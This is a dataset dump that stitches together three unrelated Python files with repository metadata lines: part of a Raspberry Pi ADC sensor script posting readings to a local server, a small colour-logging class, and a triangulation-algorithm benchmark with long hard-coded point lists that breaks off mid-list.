almacenarVariableBM(voltages[3],in3_vAnt,'voltaje_sensor_corriente','nodo_prueba_ADC',0.01) corrienteSensor=voltages[3]*12.0-30.0 almacenarVariableBM(corrienteSensor,corrienteSensor_vAnt,'corriente','sensor_corriente_1',0.02) ### Valores anteriores para la banda muerta in0_vAnt=voltages[0] in1_vAnt=voltages[1] in2_vAnt=voltages[2] in3_vAnt=voltages[3] corrienteSensor_vAnt=corrienteSensor ############################################################################# # Format nice looking text output: def nice_output(digits, volts): sys.stdout.write( "\0337" # Store cursor position + """ These are the raw sample values for the channels: Poti_CH0, LDR_CH1, AIN2, AIN3, AIN4, AIN7, Poti NEG, Short 0V """ + ", ".join(["{: 8d}".format(i) for i in digits]) + """ These are the sample values converted to voltage in V for the channels: Poti_CH0, LDR_CH1, AIN2, AIN3, AIN4, AIN7, Poti NEG, Short 0V """ + ", ".join(["{: 8.3f}".format(i) for i in volts]) + "\n\033[J\0338" # Restore cursor position etc. ) def almacenarVariable(vNuevo,vAnt,variable,equipo): #bandaSup=vAnt*((100.0+PORCENTAJE_DB)/100.0) bandaSup=vAnt+BANDA_CAMBIO #bandaInf=vAnt*((100.0-PORCENTAJE_DB)/100.0) bandaInf=vAnt-BANDA_CAMBIO if(vNuevo>=bandaSup or vNuevo<=bandaInf): vNuevo=round(vNuevo,3) r = requests.post('http://192.168.137.100:5000/eiot', data = {'valor':vNuevo,'id_disp':equipo,'var':variable}) #urlStr='curl http://192.168.137.100:5000/eiot -d "valor=27.6&id_disp=sensor_corriente_1&var=corriente" -X POST -v' print('Registro almacenado: Valor=' + str(vNuevo) + ', dispositivo=' + str(equipo) + ', variable=' + str(variable)) def almacenarVariableBM(vNuevo,vAnt,variable,equipo,banda_muerta): #bandaSup=vAnt*((100.0+banda_muerta)/100.0) bandaSup=vAnt+banda_muerta #bandaInf=vAnt*((100.0-banda_muerta)/100.0) bandaInf=vAnt-banda_muerta if(vNuevo>=bandaSup or vNuevo<=bandaInf): vNuevo=round(vNuevo,3) r = requests.post('http://192.168.137.100:5000/eiot', data = {'valor':vNuevo,'id_disp':equipo,'var':variable}) #urlStr='curl http://192.168.137.100:5000/eiot -d "valor=27.6&id_disp=sensor_corriente_1&var=corriente" -X POST -v' print('Registro almacenado: Valor=' + str(vNuevo) + ', dispositivo=' + str(equipo) + ', variable=' + str(variable)) # Start data acquisition try: print("\033[2J\033[H") # Clear screen print(__doc__) print("\nPress CTRL-C to exit.") do_measurement() except (KeyboardInterrupt): print("\n"*8 + "User exit.\n") sys.exit(0)
37.182482
123
0.667845
7959417466fc60be32064770a2a8263c66ee0f01
1,509
py
Python
color_logger.py
NikolayBlokhin/color-logger
70d85d4bb445e59e9b72c1a7010fdb6c5c94e761
[ "MIT" ]
null
null
null
color_logger.py
NikolayBlokhin/color-logger
70d85d4bb445e59e9b72c1a7010fdb6c5c94e761
[ "MIT" ]
null
null
null
color_logger.py
NikolayBlokhin/color-logger
70d85d4bb445e59e9b72c1a7010fdb6c5c94e761
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import logging import logging.handlers from termcolor import cprint class ColorLogger(object): """ Write log messages to console (with any colors and backgrounds) and to file (optional). """ def __init__(self, logger_name=None, log_file_name=None): super(ColorLogger, self).__init__() self.logger = None if logger_name and log_file_name: self.logger_name = logger_name self.log_file_name = log_file_name self.logging_formatter = logging.Formatter( '[%(asctime)s][%(levelname)s] %(message)s', '%Y.%m.%d %H:%M:%S', ) handler = self.get_rotation_handler(log_file_name) self.logger = logging.getLogger(logger_name) self.logger.setLevel(logging.DEBUG) self.logger.propagate = False self.logger.addHandler(handler) def get_rotation_handler(self, log_file_name): rotating_handler = logging.handlers.RotatingFileHandler( log_file_name, maxBytes=3145728, # 3Mb backupCount=5 ) rotating_handler.setFormatter(self.logging_formatter) return rotating_handler def write(self, message, color=None, background=None, attrs=[]): cprint(message, color, background, attrs=attrs) # write to console if self.logger: self.logger.debug(message) # write to file
30.18
77
0.615639
7959432d0b0f1ae70d5985a757fbff46306f4524
42,320
py
Python
evaluations.py
HarisSmajlovic/mwt-boost
33c6bb3df9cc3fc9ac8b43f81399c19caf08062c
[ "MIT" ]
1
2021-03-14T13:17:20.000Z
2021-03-14T13:17:20.000Z
evaluations.py
HarisSmajlovic/mwt-boost
33c6bb3df9cc3fc9ac8b43f81399c19caf08062c
[ "MIT" ]
7
2021-03-14T00:30:19.000Z
2021-03-14T00:30:38.000Z
evaluations.py
HarisSmajlovic/mwt-boost
33c6bb3df9cc3fc9ac8b43f81399c19caf08062c
[ "MIT" ]
null
null
null
import helpers.draw import libraries.st_lib from helpers import benchmark from helpers.benchmark import output_stats from libraries.st_lib import get_gct from libraries.st_lib import get_gct_edges from solutions.artificial_bee_colony import random_wandering_abc_algorithm from solutions.particle_swarm_optimization import basic_pso from solutions.simulated_annealing import simulated_annealing from structures.point import Point animate = False dots = [ Point(x=5, y=275), Point(x=-140, y=3), Point(x=280, y=-110), Point(x=216, y=-116), Point(x=-240, y=-258), Point(x=286, y=-286), Point(x=-27, y=-292) ] instances_no = 5 number_of_runs = 50 min_dots_quantity = 15 max_dots_quantity = 15 lower_value_limit = -500 upper_value_limit = 500 use_ints = False use_gauss = False instances = [[Point(x=-211, y=-25),Point(x=-293, y=-268),Point(x=230, y=-262),Point(x=9, y=82),Point(x=-150, y=-125),Point(x=254, y=-137),Point(x=-203, y=-18),Point(x=-102, y=50),Point(x=269, y=-46),Point(x=268, y=255),Point(x=153, y=32),Point(x=-118, y=-250),Point(x=246, y=-225),Point(x=-38, y=-256),Point(x=-133, y=-171),Point(x=213, y=135),Point(x=-329, y=-148),Point(x=159, y=131),Point(x=-318, y=-283),Point(x=142, y=-15),Point(x=-285, y=-299),Point(x=161, y=166),Point(x=125, y=-57)] , [Point(x=83, y=27), Point(x=-51, y=177), Point(x=-271, y=-146), Point(x=-168, y=-217), Point(x=-40, y=-54), Point(x=-316, y=-142), Point(x=74, y=277), Point(x=100, y=-257), Point(x=-299, y=119), Point(x=-60, y=199), Point(x=67, y=41), Point(x=-220, y=-196), Point(x=-42, y=-233), Point(x=-85, y=237), Point(x=261, y=84), Point(x=-40, y=1), Point(x=17, y=22)] , [Point(x=131, y=-12), Point(x=-290, y=-269), Point(x=57, y=-214), Point(x=-225, y=202), Point(x=191, y=-291), Point(x=145, y=-142), Point(x=237, y=-254), Point(x=-21, y=-326), Point(x=226, y=300), Point(x=20, y=-106), Point(x=120, y=-80), Point(x=-295, y=280), Point(x=-30, y=-260), Point(x=-54, y=42), Point(x=-67, y=245), Point(x=-289, y=0), Point(x=-279, y=109)] , [Point(x=183, y=-22), Point(x=81, y=-133), Point(x=277, y=-168), Point(x=-251, y=-68), Point(x=-181, y=-222), Point(x=123, y=37), Point(x=-106, y=-149), Point(x=205, y=-330), Point(x=286, y=129), Point(x=-25, y=211), Point(x=-59, y=-160), Point(x=-153, y=208), Point(x=220, y=-17), Point(x=-152, y=322), Point(x=258, y=-209), Point(x=172, y=-231), Point(x=-114, y=-32)] , [Point(x=-237, y=-63), Point(x=329, y=307), Point(x=207, y=-249), Point(x=263, y=-212), Point(x=315, y=-182), Point(x=-331, y=-200), Point(x=-266, y=-13), Point(x=107, y=199), Point(x=-223, y=9), Point(x=99, y=81), Point(x=33, y=199), Point(x=-163, y=-308), Point(x=109, y=112), Point(x=-298, y=152), Point(x=-125, y=228), Point(x=316, y=133), Point(x=-56, y=-131)] , [Point(x=125, y=-107), Point(x=-7, y=79), Point(x=-121, y=-165), Point(x=-269, y=-33), Point(x=-169, y=145), Point(x=146, y=-297), Point(x=-209, y=-231), Point(x=-256, y=54), Point(x=-223, y=177), Point(x=202, y=-307), Point(x=-287, y=-185), Point(x=-115, y=67), Point(x=45, y=82), Point(x=-152, y=199), Point(x=318, y=-248), Point(x=-51, y=242), Point(x=-261, y=-276)] , [Point(x=77, y=-109), Point(x=281, y=-122), Point(x=-58, y=-283), Point(x=58, y=-84), Point(x=-297, y=190), Point(x=276, y=-299), Point(x=-37, y=-172), Point(x=172, y=176), Point(x=289, y=39), Point(x=-308, y=-139), Point(x=62, y=136), Point(x=217, y=43), Point(x=314, y=241), Point(x=-282, y=-245), Point(x=-243, y=-91), Point(x=-35, y=305), Point(x=206, y=19)] , [Point(x=33, y=-56), Point(x=267, y=-125), Point(x=51, y=-147), Point(x=86, y=-215), Point(x=77, y=-91), Point(x=236, y=140), Point(x=229, y=274), Point(x=-215, y=51), Point(x=-279, y=-9), Point(x=30, y=112), Point(x=57, y=236), Point(x=-151, y=-9), Point(x=-231, y=211), Point(x=331, y=86), Point(x=-287, y=-259), Point(x=285, y=7), Point(x=44, y=-178)] , [Point(x=98, y=121), Point(x=-223, y=-264), Point(x=-166, y=197), Point(x=306, y=56), Point(x=328, y=261), Point(x=113, y=-89), Point(x=-63, y=-167), Point(x=140, y=297), Point(x=-174, y=-85), Point(x=-81, y=65), Point(x=66, y=9), Point(x=332, y=-71), Point(x=-249, y=-328), Point(x=281, y=14), Point(x=162, y=76), Point(x=-154, y=45), Point(x=204, y=-61)] , [Point(x=189, y=289), Point(x=-214, y=323), Point(x=-227, y=320), Point(x=56, y=218), Point(x=-238, y=146), Point(x=-247, y=170), Point(x=97, y=121), Point(x=202, y=228), Point(x=-29, y=-135), Point(x=-148, y=112), Point(x=-316, y=156), Point(x=21, y=61), Point(x=-65, y=-2), Point(x=105, y=116), Point(x=280, y=-63), Point(x=224, y=-90), Point(x=-110, y=119)] , [Point(x=-224, y=127), Point(x=-186, y=-180), Point(x=221, y=-192), Point(x=-152, y=-234), Point(x=-158, y=-264), Point(x=-278, y=-329), Point(x=185, y=59), Point(x=-74, y=-113), Point(x=-298, y=313), Point(x=-110, y=19), Point(x=-101, y=-29), Point(x=-103, y=46), Point(x=188, y=-324), Point(x=144, y=-146), Point(x=-61, y=102), Point(x=24, y=154), Point(x=60, y=46)]] instances_23 = [ [Point(x=-76, y=182),Point(x=237, y=-76),Point(x=-68, y=249),Point(x=-188, y=73),Point(x=-25, y=263),Point(x=-80, y=100),Point(x=28, y=103),Point(x=263, y=-292),Point(x=-12, y=-152),Point(x=-179, y=166),Point(x=194, y=-100),Point(x=49, y=124),Point(x=162, y=122),Point(x=26, y=-131),Point(x=-126, y=-238),Point(x=80, y=-125),Point(x=266, y=-44),Point(x=-3, y=287),Point(x=-92, y=34),Point(x=-64, y=-108),Point(x=80, y=25),Point(x=-333, y=-227),Point(x=-120, y=-301)], [Point(x=-218, y=-272),Point(x=-118, y=-236),Point(x=293, y=62),Point(x=-247, y=-273),Point(x=325, y=214),Point(x=-267, y=-132),Point(x=-192, y=301),Point(x=278, y=179),Point(x=-166, y=-132),Point(x=-159, y=-237),Point(x=-73, y=329),Point(x=-129, y=44),Point(x=-328, y=4),Point(x=-65, y=309),Point(x=-283, y=70),Point(x=162, y=187),Point(x=-292, y=281),Point(x=152, y=213),Point(x=215, y=221),Point(x=-266, y=146),Point(x=289, y=255),Point(x=204, y=147),Point(x=-63, y=-239)], [Point(x=-42, y=276),Point(x=187, y=62),Point(x=238, y=-311),Point(x=329, y=319),Point(x=305, y=188),Point(x=53, y=-179),Point(x=315, y=-240),Point(x=52, y=47),Point(x=-93, y=-141),Point(x=-287, y=97),Point(x=16, y=1),Point(x=104, y=-167),Point(x=280, y=164),Point(x=-243, y=-312),Point(x=238, y=-160),Point(x=-312, y=-130),Point(x=210, y=-215),Point(x=-85, y=-280),Point(x=238, y=19),Point(x=-161, y=-225),Point(x=185, y=28),Point(x=-191, y=-131),Point(x=303, y=-34)], [Point(x=1, y=22),Point(x=-77, y=203),Point(x=193, y=-76),Point(x=-231, y=-152),Point(x=316, y=-18),Point(x=-320, y=255),Point(x=-208, y=-268),Point(x=-304, y=321),Point(x=-184, y=293),Point(x=-310, y=-232),Point(x=-110, y=-192),Point(x=-228, y=179),Point(x=-140, y=288),Point(x=236, y=-292),Point(x=-7, y=-88),Point(x=-163, y=-59),Point(x=-112, y=194),Point(x=-75, y=114),Point(x=186, y=198),Point(x=-5, y=11),Point(x=306, y=-267),Point(x=-294, y=-274),Point(x=112, y=-171)], [Point(x=276, y=-103),Point(x=224, y=315),Point(x=-331, y=-310),Point(x=22, y=96),Point(x=236, y=-275),Point(x=323, y=79),Point(x=-260, y=-16),Point(x=-143, y=-305),Point(x=76, y=-207),Point(x=258, y=-57),Point(x=-102, y=-284),Point(x=88, y=-303),Point(x=0, y=220),Point(x=23, y=282),Point(x=141, y=24),Point(x=-59, y=277),Point(x=-291, y=103),Point(x=-160, y=-126),Point(x=-75, y=288),Point(x=188, y=169),Point(x=34, y=196),Point(x=-32, y=61),Point(x=-66, y=34)] ] instances_22 = [ [Point(x=41, y=-82), Point(x=-296, y=-191), Point(x=129, y=263), Point(x=171, y=208), Point(x=2, y=-291), Point(x=172, y=-112), Point(x=117, y=-22), Point(x=228, y=-325), Point(x=0, y=-94), Point(x=115, y=57), Point(x=167, y=-83), Point(x=-224, y=-146), Point(x=-301, y=-267), Point(x=-58, y=-278), Point(x=91, y=207), Point(x=-81, y=282), Point(x=35, y=325), Point(x=176, y=-321), Point(x=-312, y=-170), Point(x=316, y=-306), Point(x=325, y=-14), Point(x=164, y=277)], [Point(x=-30, y=-66),Point(x=-115, y=178),Point(x=-157, y=-207),Point(x=64, y=-71),Point(x=13, y=228),Point(x=161, y=208),Point(x=-256, y=102),Point(x=260, y=9),Point(x=-120, y=-187),Point(x=66, y=254),Point(x=50, y=-221),Point(x=-260, y=184),Point(x=-254, y=249),Point(x=-214, y=-304),Point(x=173, y=30),Point(x=17, y=-285),Point(x=153, y=153),Point(x=-329, y=35),Point(x=34, y=-83),Point(x=188, y=-285),Point(x=-324, y=-63),Point(x=-28, y=-127)], [Point(x=177, y=-152),Point(x=-188, y=21),Point(x=68, y=-306),Point(x=-38, y=-224),Point(x=46, y=-16),Point(x=211, y=-206),Point(x=133, y=-180),Point(x=304, y=64),Point(x=-288, y=-205),Point(x=-177, y=-132),Point(x=-80, y=-259),Point(x=-148, y=-275),Point(x=320, y=-327),Point(x=255, y=217),Point(x=-5, y=-220),Point(x=161, y=79),Point(x=38, y=-314),Point(x=236, y=-102),Point(x=-106, y=-198),Point(x=-327, y=-115),Point(x=139, y=-235),Point(x=-222, y=120)], [Point(x=-87, y=-19),Point(x=-40, y=164),Point(x=-321, y=179),Point(x=-123, y=-242),Point(x=-36, y=-46),Point(x=110, y=-213),Point(x=253, y=-203),Point(x=-36, y=240),Point(x=-115, y=-105),Point(x=-231, y=-195),Point(x=-241, y=34),Point(x=-260, y=-186),Point(x=-191, y=149),Point(x=112, y=-279),Point(x=-44, y=90),Point(x=-217, y=126),Point(x=225, y=-68),Point(x=-72, y=3),Point(x=139, y=-55),Point(x=-304, y=-292),Point(x=277, y=-251),Point(x=276, y=45)], [Point(x=-104, y=86),Point(x=-12, y=-246),Point(x=-20, y=246),Point(x=67, y=-172),Point(x=282, y=273),Point(x=146, y=-255),Point(x=26, y=-322),Point(x=236, y=134),Point(x=1, y=-196),Point(x=-275, y=179),Point(x=-172, y=253),Point(x=-112, y=276),Point(x=159, y=-223),Point(x=222, y=-118),Point(x=-307, y=-37),Point(x=163, y=210),Point(x=165, y=-15),Point(x=243, y=-302),Point(x=-254, y=-191),Point(x=-90, y=73),Point(x=150, y=-41),Point(x=261, y=258)], ] instances_21 = [ [Point(x=-100, y=-319),Point(x=302, y=-223),Point(x=51, y=-194),Point(x=251, y=-52),Point(x=-61, y=71),Point(x=143, y=-68),Point(x=321, y=14),Point(x=-144, y=39),Point(x=-269, y=-180),Point(x=129, y=-225),Point(x=175, y=163),Point(x=-266, y=213),Point(x=98, y=251),Point(x=118, y=-245),Point(x=-240, y=124),Point(x=44, y=293),Point(x=55, y=-73),Point(x=288, y=25),Point(x=2, y=325),Point(x=-229, y=-67),Point(x=-155, y=-7)], [Point(x=79, y=250),Point(x=240, y=-140),Point(x=322, y=11),Point(x=27, y=-204),Point(x=257, y=-80),Point(x=225, y=322),Point(x=-112, y=-51),Point(x=-175, y=302),Point(x=-232, y=-180),Point(x=130, y=-41),Point(x=283, y=-141),Point(x=-315, y=301),Point(x=-10, y=36),Point(x=-310, y=-29),Point(x=273, y=-312),Point(x=-210, y=-120),Point(x=236, y=171),Point(x=0, y=-160),Point(x=18, y=250),Point(x=137, y=140),Point(x=179, y=-330)], [Point(x=-226, y=305),Point(x=276, y=233),Point(x=226, y=237),Point(x=71, y=141),Point(x=-216, y=-27),Point(x=-255, y=-143),Point(x=-37, y=-89),Point(x=247, y=234),Point(x=-70, y=99),Point(x=-309, y=50),Point(x=-49, y=-6),Point(x=-66, y=99),Point(x=-72, y=-320),Point(x=214, y=-16),Point(x=-128, y=-9),Point(x=-63, y=-301),Point(x=-215, y=300),Point(x=-23, y=146),Point(x=5, y=-217),Point(x=-22, y=244),Point(x=-258, y=18)], [Point(x=-79, y=73),Point(x=-186, y=16),Point(x=7, y=-172),Point(x=211, y=-271),Point(x=265, y=210),Point(x=-82, y=283),Point(x=41, y=251),Point(x=-59, y=59),Point(x=34, y=-154),Point(x=161, y=222),Point(x=206, y=-297),Point(x=88, y=14),Point(x=262, y=-93),Point(x=-44, y=157),Point(x=216, y=1),Point(x=-197, y=116),Point(x=182, y=-36),Point(x=-194, y=114),Point(x=283, y=-45),Point(x=213, y=-287),Point(x=241, y=55)], [Point(x=-146, y=96),Point(x=170, y=-43),Point(x=-229, y=327),Point(x=45, y=-113),Point(x=-65, y=-93),Point(x=297, y=248),Point(x=-223, y=120),Point(x=52, y=-132),Point(x=152, y=-150),Point(x=104, y=-59),Point(x=248, y=-45),Point(x=305, y=-215),Point(x=243, y=-200),Point(x=39, y=19),Point(x=180, y=66),Point(x=-272, y=-75),Point(x=78, y=-258),Point(x=33, y=194),Point(x=-294, y=-266),Point(x=-312, y=217),Point(x=-108, y=-228)], ] instances_20 = [ [Point(x=-247, y=-18),Point(x=96, y=-228),Point(x=-210, y=-236),Point(x=-183, y=-238),Point(x=35, y=123),Point(x=162, y=316),Point(x=106, y=262),Point(x=81, y=0),Point(x=217, y=149),Point(x=226, y=-153),Point(x=321, y=232),Point(x=146, y=112),Point(x=-292, y=325),Point(x=-143, y=-27),Point(x=-238, y=211),Point(x=-304, y=-191),Point(x=-274, y=-105),Point(x=255, y=280),Point(x=-44, y=-14),Point(x=-188, y=137)], [Point(x=-220, y=-145),Point(x=118, y=281),Point(x=318, y=-127),Point(x=133, y=225),Point(x=-303, y=-35),Point(x=-40, y=-319),Point(x=-330, y=-284),Point(x=136, y=-149),Point(x=-237, y=-258),Point(x=243, y=-223),Point(x=162, y=101),Point(x=124, y=302),Point(x=104, y=-274),Point(x=294, y=120),Point(x=-232, y=-301),Point(x=0, y=168),Point(x=180, y=295),Point(x=-214, y=131),Point(x=-72, y=296),Point(x=16, y=31)], [Point(x=-141, y=-123),Point(x=-203, y=-153),Point(x=-182, y=221),Point(x=-140, y=-153),Point(x=66, y=-50),Point(x=-319, y=299),Point(x=4, y=-266),Point(x=-88, y=63),Point(x=218, y=14),Point(x=-14, y=279),Point(x=-51, y=17),Point(x=154, y=58),Point(x=47, y=61),Point(x=211, y=284),Point(x=123, y=245),Point(x=-135, y=208),Point(x=-47, y=-172),Point(x=255, y=53),Point(x=-100, y=-114),Point(x=-17, y=176)], [Point(x=51, y=-61),Point(x=240, y=-40),Point(x=-57, y=216),Point(x=-35, y=-101),Point(x=-64, y=-105),Point(x=-41, y=318),Point(x=176, y=-284),Point(x=-188, y=75),Point(x=239, y=32),Point(x=228, y=225),Point(x=-23, y=261),Point(x=242, y=-318),Point(x=86, y=91),Point(x=248, y=-198),Point(x=-34, y=-212),Point(x=-71, y=179),Point(x=-39, y=-153),Point(x=183, y=-177),Point(x=311, y=-300),Point(x=-175, y=284)], [Point(x=-187, y=19),Point(x=2, y=-233),Point(x=145, y=-160),Point(x=190, y=30),Point(x=80, y=131),Point(x=-246, y=168),Point(x=-152, y=17),Point(x=-128, y=82),Point(x=-27, y=182),Point(x=182, y=-262),Point(x=-316, y=240),Point(x=199, y=317),Point(x=-253, y=158),Point(x=133, y=307),Point(x=48, y=263),Point(x=-27, y=246),Point(x=151, y=259),Point(x=49, y=180),Point(x=33, y=-322),Point(x=-223, y=76)] ] instances_19 = [ [Point(x=-281, y=319),Point(x=-91, y=68),Point(x=-252, y=-50),Point(x=330, y=-234),Point(x=-97, y=-278),Point(x=30, y=235),Point(x=25, y=-41),Point(x=-247, y=287),Point(x=-252, y=283),Point(x=330, y=-193),Point(x=-314, y=-54),Point(x=233, y=-29),Point(x=239, y=-183),Point(x=-36, y=54),Point(x=149, y=189),Point(x=-331, y=-40),Point(x=-312, y=-233),Point(x=83, y=3),Point(x=-328, y=226)], [Point(x=233, y=-15),Point(x=-93, y=10),Point(x=263, y=305),Point(x=-211, y=-24),Point(x=162, y=157),Point(x=148, y=-161),Point(x=144, y=219),Point(x=10, y=-290),Point(x=-46, y=187),Point(x=73, y=-173),Point(x=163, y=112),Point(x=-128, y=-122),Point(x=225, y=87),Point(x=-276, y=-151),Point(x=-23, y=127),Point(x=-267, y=210),Point(x=-60, y=-186),Point(x=301, y=39),Point(x=38, y=-7)], [Point(x=-44, y=9),Point(x=291, y=136),Point(x=-2, y=157),Point(x=177, y=183),Point(x=216, y=148),Point(x=157, y=127),Point(x=47, y=-207),Point(x=-179, y=237),Point(x=50, y=23),Point(x=167, y=285),Point(x=-140, y=-210),Point(x=-200, y=-31),Point(x=231, y=-327),Point(x=-327, y=53),Point(x=266, y=-139),Point(x=195, y=69),Point(x=118, y=155),Point(x=-139, y=-304),Point(x=242, y=-155)], [Point(x=-179, y=238),Point(x=-194, y=-275),Point(x=12, y=198),Point(x=244, y=-18),Point(x=103, y=113),Point(x=148, y=-296),Point(x=-266, y=164),Point(x=107, y=168),Point(x=-218, y=100),Point(x=-140, y=83),Point(x=-187, y=165),Point(x=-196, y=242),Point(x=41, y=76),Point(x=-157, y=3),Point(x=123, y=-127),Point(x=-197, y=-49),Point(x=275, y=-330),Point(x=7, y=-313),Point(x=39, y=257)], [Point(x=243, y=79),Point(x=-31, y=184),Point(x=103, y=-301),Point(x=-56, y=-40),Point(x=119, y=-7),Point(x=-202, y=18),Point(x=45, y=-234),Point(x=146, y=78),Point(x=-1, y=24),Point(x=-296, y=62),Point(x=-314, y=268),Point(x=276, y=53),Point(x=168, y=-187),Point(x=-307, y=43),Point(x=230, y=160),Point(x=62, y=-18),Point(x=-228, y=-186),Point(x=39, y=57),Point(x=203, y=239)] ] instances_18 = [ [Point(x=260, y=-54),Point(x=294, y=82),Point(x=2, y=10),Point(x=273, y=-160),Point(x=185, y=138),Point(x=327, y=164),Point(x=-311, y=-319),Point(x=-124, y=158),Point(x=146, y=164),Point(x=54, y=189),Point(x=267, y=70),Point(x=-279, y=122),Point(x=35, y=-301),Point(x=-112, y=281),Point(x=-173, y=84),Point(x=268, y=-242),Point(x=39, y=108),Point(x=-127, y=-238)], [Point(x=27, y=229),Point(x=-11, y=-211),Point(x=-129, y=209),Point(x=-131, y=-312),Point(x=-301, y=196),Point(x=179, y=-318),Point(x=138, y=153),Point(x=62, y=-83),Point(x=171, y=-178),Point(x=315, y=252),Point(x=199, y=107),Point(x=202, y=-327),Point(x=181, y=-254),Point(x=62, y=230),Point(x=141, y=-314),Point(x=-217, y=281),Point(x=-205, y=323),Point(x=189, y=250)], [Point(x=96, y=-128),Point(x=253, y=-213),Point(x=308, y=19),Point(x=-246, y=-25),Point(x=-230, y=-45),Point(x=312, y=-132),Point(x=118, y=-102),Point(x=243, y=-12),Point(x=-147, y=-72),Point(x=-79, y=-58),Point(x=300, y=326),Point(x=-1, y=-68),Point(x=-240, y=-211),Point(x=131, y=99),Point(x=-148, y=-202),Point(x=-7, y=-204),Point(x=-213, y=-280),Point(x=-129, y=-153)], [Point(x=175, y=-199),Point(x=44, y=304),Point(x=-11, y=-43),Point(x=307, y=-276),Point(x=49, y=153),Point(x=110, y=-94),Point(x=-191, y=42),Point(x=-325, y=54),Point(x=-140, y=-129),Point(x=122, y=-169),Point(x=227, y=81),Point(x=52, y=-236),Point(x=103, y=-200),Point(x=212, y=-232),Point(x=-9, y=-52),Point(x=301, y=-328),Point(x=-83, y=155),Point(x=-160, y=-197)], [Point(x=287, y=-133),Point(x=273, y=-29),Point(x=134, y=-98),Point(x=-42, y=-102),Point(x=114, y=-56),Point(x=-243, y=-177),Point(x=172, y=-120),Point(x=70, y=272),Point(x=-227, y=79),Point(x=55, y=-96),Point(x=173, y=-127),Point(x=-230, y=-115),Point(x=-120, y=91),Point(x=-214, y=-53),Point(x=199, y=259),Point(x=236, y=115),Point(x=190, y=-137),Point(x=-285, y=96)] ] instances_17 = [ [Point(x=-215, y=331),Point(x=-114, y=265),Point(x=-186, y=75),Point(x=-207, y=206),Point(x=282, y=-107),Point(x=278, y=-275),Point(x=124, y=-305),Point(x=57, y=-60),Point(x=82, y=-46),Point(x=177, y=-97),Point(x=-150, y=-232),Point(x=-53, y=35),Point(x=-194, y=-219),Point(x=-2, y=-220),Point(x=-175, y=-74),Point(x=-277, y=172),Point(x=-213, y=247)], [Point(x=-110, y=-275),Point(x=50, y=-5),Point(x=330, y=-140),Point(x=90, y=-290),Point(x=-33, y=-177),Point(x=34, y=153),Point(x=20, y=-171),Point(x=54, y=129),Point(x=-151, y=45),Point(x=-222, y=-160),Point(x=17, y=-13),Point(x=-220, y=104),Point(x=63, y=255),Point(x=-9, y=-157),Point(x=-39, y=-192),Point(x=148, y=-151),Point(x=-50, y=319)], [Point(x=240, y=91),Point(x=266, y=-318),Point(x=-186, y=-321),Point(x=-14, y=111),Point(x=70, y=-44),Point(x=-328, y=-33),Point(x=330, y=241),Point(x=184, y=-240),Point(x=-40, y=288),Point(x=-78, y=-95),Point(x=-54, y=246),Point(x=54, y=143),Point(x=-234, y=189),Point(x=-314, y=-274),Point(x=-109, y=142),Point(x=-170, y=-37),Point(x=-77, y=115)], [Point(x=211, y=-2),Point(x=-286, y=-324),Point(x=144, y=269),Point(x=-258, y=-29),Point(x=193, y=58),Point(x=-136, y=92),Point(x=284, y=-35),Point(x=198, y=112),Point(x=64, y=-57),Point(x=45, y=-146),Point(x=-158, y=-276),Point(x=122, y=-32),Point(x=236, y=321),Point(x=186, y=-199),Point(x=205, y=-274),Point(x=-174, y=-6),Point(x=312, y=121)], [Point(x=-156, y=45),Point(x=95, y=86),Point(x=-185, y=-64),Point(x=-176, y=97),Point(x=131, y=165),Point(x=-285, y=-124),Point(x=-270, y=57),Point(x=321, y=9),Point(x=-61, y=-330),Point(x=26, y=-240),Point(x=83, y=-196),Point(x=-311, y=114),Point(x=160, y=160),Point(x=230, y=-166),Point(x=140, y=-251),Point(x=293, y=-51),Point(x=202, y=87)] ] instances_16 = [ [Point(x=96, y=65),Point(x=53, y=14),Point(x=178, y=249),Point(x=293, y=-16),Point(x=305, y=46),Point(x=162, y=-317),Point(x=271, y=122),Point(x=281, y=-43),Point(x=319, y=-45),Point(x=251, y=-246),Point(x=-251, y=192),Point(x=-204, y=-264),Point(x=-285, y=-149),Point(x=199, y=97),Point(x=-50, y=-151),Point(x=133, y=-16)], [Point(x=332, y=30),Point(x=-78, y=101),Point(x=105, y=215),Point(x=-311, y=125),Point(x=312, y=257),Point(x=313, y=-228),Point(x=-118, y=-206),Point(x=168, y=173),Point(x=191, y=-89),Point(x=-243, y=91),Point(x=59, y=-148),Point(x=-7, y=82),Point(x=-216, y=106),Point(x=-29, y=-299),Point(x=-175, y=59),Point(x=-36, y=-279)], [Point(x=-172, y=23),Point(x=177, y=301),Point(x=-67, y=-77),Point(x=61, y=-37),Point(x=55, y=328),Point(x=-155, y=-134),Point(x=122, y=73),Point(x=-22, y=290),Point(x=-240, y=-286),Point(x=-22, y=-319),Point(x=-119, y=11),Point(x=54, y=-18),Point(x=-277, y=17),Point(x=308, y=-183),Point(x=327, y=60),Point(x=273, y=64)], [Point(x=-159, y=184),Point(x=-270, y=318),Point(x=-49, y=115),Point(x=-306, y=185),Point(x=-85, y=-95),Point(x=314, y=-42),Point(x=84, y=-132),Point(x=-139, y=310),Point(x=96, y=-45),Point(x=186, y=252),Point(x=-312, y=269),Point(x=-317, y=106),Point(x=114, y=46),Point(x=186, y=323),Point(x=109, y=4),Point(x=283, y=115)], [Point(x=-95, y=-262),Point(x=27, y=314),Point(x=-15, y=-171),Point(x=-6, y=-205),Point(x=90, y=-138),Point(x=288, y=44),Point(x=69, y=90),Point(x=310, y=273),Point(x=52, y=204),Point(x=160, y=-273),Point(x=2, y=-260),Point(x=327, y=-128),Point(x=-272, y=116),Point(x=164, y=97),Point(x=-293, y=-291),Point(x=91, y=273)] ] instances_15 = [ [Point(x=281, y=-108),Point(x=-132, y=1),Point(x=132, y=1),Point(x=3, y=-100),Point(x=312, y=19),Point(x=-173, y=200),Point(x=-20, y=-4),Point(x=-276, y=327),Point(x=-100, y=-169),Point(x=-166, y=-323),Point(x=-209, y=186),Point(x=1, y=-66),Point(x=-90, y=283),Point(x=-23, y=-83),Point(x=326, y=65)], [Point(x=-3, y=166),Point(x=-31, y=129),Point(x=-106, y=198),Point(x=-88, y=-195),Point(x=-239, y=-266),Point(x=-154, y=-323),Point(x=-174, y=82),Point(x=-101, y=-314),Point(x=240, y=-106),Point(x=60, y=-120),Point(x=-243, y=140),Point(x=287, y=-84),Point(x=-21, y=-252),Point(x=-124, y=-276),Point(x=83, y=298)], [Point(x=228, y=-123),Point(x=25, y=122),Point(x=159, y=-121),Point(x=-205, y=181),Point(x=-36, y=221),Point(x=-291, y=100),Point(x=-170, y=277),Point(x=-291, y=196),Point(x=189, y=-82),Point(x=218, y=220),Point(x=224, 